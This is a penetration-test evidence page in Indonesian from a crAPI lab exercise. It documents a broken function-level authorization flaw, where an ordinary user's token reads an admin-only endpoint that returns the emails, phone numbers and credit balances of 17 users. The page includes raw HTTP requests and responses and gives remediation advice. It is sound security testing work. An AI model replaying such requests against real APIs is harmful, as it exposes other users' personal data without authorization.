Broken Function Level Authorization - Workshop - Management Users Endpoint
Lingkungan lab — bukan sistem produksi
Tangkapan layar dan trafik mentah tidak diterjemahkan; teks di dalamnya mungkin menggunakan bahasa lain.
crAPI/Evidence/[FAIL] Broken Function Level Authorization - Workshop - Management Users Endpoint
01 — Catatan
Catatan pengujian
Kerentanan
Deskripsi
Dampak
CWE
OWASP
Skenario
Endpoint
Fitur terdampak
Rekomendasi perbaikan
Bukti konsep
Lihat catatan sumber (bahasa Indonesia)
Vulnerability: [FAIL] Broken Function Level Authorization - Workshop - Management Users Endpoint
Description:
Endpoint manajemen /workshop/api/management/users/all -- yang semestinya hanya untuk administrator -- dapat diakses oleh pengguna terautentikasi biasa (role=user). Endpoint mengembalikan data seluruh pengguna aplikasi.
Impact:
Confidentiality: pengguna biasa mana pun dapat mengunduh PII seluruh pengguna (17 user): email, nomor telepon, dan saldo credit. Kontrol otorisasi tingkat fungsi (function-level) tidak ditegakkan.
CWE:
CWE-285: Improper Authorization (terkait CWE-639)
OWASP:
API5:2023 - Broken Function Level Authorization (dan API3:2023 - Excessive Data Exposure)
Scenario:
Normal: user biasa hanya melihat data akunnya sendiri. Eksploitasi: user biasa yang sama mengakses endpoint manajemen /workshop/api/management/users/all -> 200 mengembalikan PII seluruh pengguna. Hasil akhir menampakkan CIA (Confidentiality).
Endpoint:
GET http://127.0.0.1:8888/workshop/api/management/users/all
Affected Feature:
Endpoint Manajemen Pengguna (crapi-workshop)
Remediation:
- Terapkan otorisasi berbasis peran (role) pada seluruh endpoint manajemen/administratif; verifikasi role=admin di sisi server.
- Jangan mengandalkan ketiadaan tautan UI sebagai kontrol akses.
- Minimalkan data yang dikembalikan.
POC:
1) (Screenshot 1) NORMAL: GET /identity/api/v2/user/dashboard dengan token user biasa -> 200, hanya data akun sendiri (id=8).
2) (Screenshot 2) EKSPLOITASI + CIA: GET /workshop/api/management/users/all dengan token user biasa yang SAMA -> 200 mengembalikan PII seluruh pengguna (17 user).
02 — Tangkapan layar
Tangkapan layar (2)
Alur normal: pengguna biasa (role=user) hanya melihat datanya sendiri.
Dampak: token pengguna biasa yang sama dapat mengakses endpoint manajemen yang seharusnya khusus admin. Response 200 membocorkan PII seluruh pengguna: email, nomor telepon, dan credit dari 17 pengguna. Kerahasiaan data terdampak.
03 — Request dan response
Rekaman HTTP
Sebagian nilai kredensial disamarkan pada tampilan HTML publik ini. Penyamaran ini tidak menjamin bahwa seluruh data sensitif atau berkas tertaut sudah disamarkan.
GET /identity/api/v2/vehicle/vehicles HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 368
[
{
"id": 6,
"uuid": "9b3ce26b-d797-404b-a961-09d7e45e0d1b",
"pincode": "8392",
"vin": "861P9NB3CL6ZEA9X1",
"year": 2026,
"status": "INACTIVE",
"previousOwners": [],
"model": {
"id": 4,
"model": "5 Series",
"fuel_type": "PETROL",
"vehicle_img": "images/bmw-5.jpg",
"vehiclecompany": {
"id": 4,
"name": "BMW"
}
},
"vehicleLocation": {
"id": 4,
"latitude": "38.206348",
"longitude": "-84.270172"
},
"owner": null
}
]Alur normal: pengguna biasa (role=user) hanya melihat datanya sendiri.
GET /workshop/api/management/users/all HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 1573
{
"users": [
{
"user": {
"email": "[REDACTED-EMAIL]",
"number": "9876895423"
},
"available_credit": 100.0
},
{
"user": {
"email": "[REDACTED-EMAIL]",
"number": "9876570006"
},
"available_credit": 100.0
},
{
"user": {
"email": "[REDACTED-EMAIL]",
"number": "9876570001"
},
"available_credit": 100.0
},
{
"user": {
"email": "[REDACTED-EMAIL]",
"number": "9876540001"
},
"available_credit": 100.0
},
{
"user": {
"email": "[REDACTED-EMAIL]",
"number": "9010203040"
},
"available_credit": 100.0
},
{
"user": {
"email": "[REDACTED-EMAIL]",
"number": ""
},
"available_credit": 0.0
},
{
"user": {
"email": "[REDACTED-EMAIL]",
"number": ""
},
"available_credit": 0.0
},
{
"user": {
"email": "[REDACTED-EMAIL]",
"number": "+234123423423"
},
"available_credit": 155.0
},
{
"user": {
"email": "[REDACTED-EMAIL]",
"number": "+123424243234"
},
"available_credit": 100.0
},
{
"user": {
"email": "[REDACTED-EMAIL]",
"number": "+1999888777"
},
"available_credit": 100.0
},
{
"user": {
"email": "[REDACTED-EMAIL]",
"number": "+1999000111"
},
"available_credit": 100.0
},
{
"user": {
"email": "[REDACTED-EMAIL]",
"number": "+199907057"
},
"available_credit": 100.0
},
{
"user": {
"email": "[REDACTED-EMAIL]",
"number": "+19990111"
},
"available_credit": 100.0
},
{
"user": {
"email": "[REDACTED-EMAIL]",
"number": "+19990222"
},
"available_credit": 100.0
},
{
"user": {
"email": "[REDACTED-EMAIL]",
"number": "+1997552"
},
"available_credit": 175.0
},
{
"user": {
"email": "[REDACTED-EMAIL]",
"number": "+1999674"
},
"available_credit": 175.0
},
{
"user": {
"email": "[REDACTED-EMAIL]",
"number": "+1995809"
},
"available_credit": 175.0
}
],
"next_offset": null,
"previous_offset": null,
"count": 17
}Dampak: token pengguna biasa yang sama dapat mengakses endpoint manajemen yang seharusnya khusus admin. Response 200 membocorkan PII seluruh pengguna: email, nomor telepon, dan credit dari 17 pengguna. Kerahasiaan data terdampak.